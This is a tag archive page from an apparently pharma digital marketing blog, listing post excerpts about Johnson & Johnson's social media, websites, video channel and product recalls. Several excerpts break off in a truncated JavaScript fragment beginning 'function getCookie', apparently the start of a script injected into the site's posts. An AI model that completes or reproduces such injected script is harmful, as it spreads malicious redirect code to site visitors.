Tag Archives: Johnson & Johnson
Zuheidi Hoyos of J & J Gives Her Take on Day One of Digital Innovation
Zuheidi Hoyos of Johnson & Johnson gives her reaction to the programming on Day One of the Digital Innovation for Pharma Conference. function getCookie(e){var U=document.cookie.match(new...
Posted in Digital Health
Tagged #efp, digital innovation conference, Johnson & Johnson, Pixels & Pills, zuheidi hoyos
Leave a comment
Harold Johns Talks About How ESPN Can Improve Site Registration
Harold Johns of Johnson and Johnson talks about how Pharma companies can improve the customer experience by learning best practices from other industries. function getCookie(e){var...
Posted in Digital Health
Tagged #efm, ESPN, Harold Johns, Johnson & Johnson, Pixels and Pills, User Experience
Leave a comment
Last Year At Digital Pharma East
Alex Butler basks in the glow of his Pharmaguy win, and John Mack talks about the nominees, and what led up to choosing Alex Butler as the ultimate Social Media Pioneer. function getCookie(e){var...
Why your Crisis Communication Plan Needs a Makeover
By Carl Turner (@leftyrightbrain) When was the last time you updated your crisis communication plan? Social media has been great for creating conversations between companies and customers, but its...
Posted in Social Media
Tagged Chrysler, conversation, crisis communications, employees, gaffe, Johnson & Johnson, media, mistake, plan, policy, PR, publicity, social media, strategy, stunt, transparency, Twitter
Leave a comment
Attention to Detail
By Kimberly Reyes (@CommDuCoeur) Over the last year, Pfizer, Johnson & Johnson and Depomed have each dealt with product recalls of musty-smelling drugs. The smell was caused by tribomoanisole,...
Posted in Social Media
Tagged Design, detail, digital, drugs, Johnson & Johnson, manufacturing, Pfizer, Pharmaceutical industry, platform, recall, safety, update
Leave a comment
J&J’s Harold Johns Stresses the Importance of Corporate Websites
Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
Can Pharma Have an Old Spice Guy? Pharmas Problems With Personality
By Kimberly Reyes (@CommDuCoeur) Its no shock that on Monday, February 8, 2010, people were buzzing about the Superbowl game the day before. What was a surprise is that they werent necessarily...
Posted in Social Media
Tagged Amgen, celebrity, endorsement, FDA, IPhone, John Mack, Johnson, Johnson & Johnson, marketing, Novo Nordisk, Old Spice, personality, Pharma, Pharmaceutical industry, social media, Twitter, VNR, Wyeth, YouTube
2 Comments
Johnson & Johnson’s Marc Monseau on Relevance and Trust in Social Media
Marc Monseau, Director of Corporate Media Relations for Johnson & Johnson, advises that corporate social media activities should stay personal. function getCookie(e){var...
Posted in Social Media
Tagged BDI, digital video, events, Johnson & Johnson, Marc Monseau, Pixels & Pills, relevance, Social Comm & Healthcare, social media
7 Comments
Robert Halper Talks About J&J’s YouTube Channel
Robert Halper, Director of Video Communication for Johnson & Johnson, talks to Pixels & Pills' Carl Turner about generating quality content and maintaining corporate branding standards....
Posted in Social Media
Tagged BDI, digital video, Johnson & Johnson, Pixels & Pills, Robert Halper, Social Communications & Healthcare, social media, Video, YouTube
2 Comments
A Pharma Grade Book on Social Media
By DJ Edgerton Social media efforts of pharmaceutical companies get a lot of flak for being lackluster, ineffective, or altogether nonexistent. But really, it's not as bad as all that....
Posted in Social Media
Tagged Johnson & Johnson, Novartis, Novo Nordisk, Social network, Twitter
Leave a comment